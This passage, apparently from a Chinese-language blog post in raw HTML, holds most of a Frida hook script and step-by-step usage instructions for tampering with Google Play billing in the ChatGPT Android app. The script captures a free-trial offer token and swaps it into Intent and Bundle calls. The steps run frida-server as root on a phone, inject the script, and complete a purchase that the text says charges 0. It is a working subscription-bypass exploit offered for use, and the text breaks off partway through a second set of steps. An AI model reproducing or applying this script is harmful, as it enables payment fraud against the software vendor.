&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;bF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clazz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDeclaredField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nx"&gt;bF&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;cF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clazz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDeclaredField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nx"&gt;cF&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;offerId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bF&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;offerToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cF&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;oidStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;offerId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;(default)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;offerId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;tokStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;offerToken&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;null&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;offerToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Adumm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;oidStr&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;TARGET_OFFER_ID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;capturedToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tokStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;gt;&amp;gt;&amp;gt; FOUND &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;TARGET_OFFER_ID&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;lt;&amp;lt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onComplete&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;capturedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scanC3qInstances&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;android.content.Intent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;android.os.Bundle&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;maybeSwap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;orig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;orig&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;orig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Adumm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;orig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;capturedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scanC3qInstances&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capturedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;] SWAP -&amp;gt; &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;TARGET_OFFER_ID&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;capturedToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;orig&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;java.lang.String&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;java.lang.String&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Adumm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;maybeSwap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Intent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putString&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Adumm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;maybeSwap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Bundle&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putStringArrayList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;sv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Adumm&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;maybeSwap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BundleArr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putStringArrayList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[+] Open subscription page first.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;使用说明（简化版脚本）&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;启动 Frida 服务端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在手机上执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb push frida-server /data/local/tmp/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb shell chmod &lt;span class="m"&gt;755&lt;/span&gt; /data/local/tmp/frida-server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adb shell su -c &lt;span class="s1"&gt;&amp;#39;/data/local/tmp/frida-server &amp;amp;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注入脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在电脑端执行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;frida -U -f com.openai.chatgpt -l hook.js
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看到 &lt;code&gt;[GPT] 启动 — 注入 plus-1-month-free-trial&lt;/code&gt; 后继续。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;完成购买&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。&lt;/p&gt;
&lt;p&gt;控制台应该显示 &lt;code&gt;[GPT] offerToken 已注入&lt;/code&gt;，支付金额显示为 0 元。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;使用说明（动态捕获版脚本）&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;手机 Root 并安装 Magisk&lt;/li&gt;
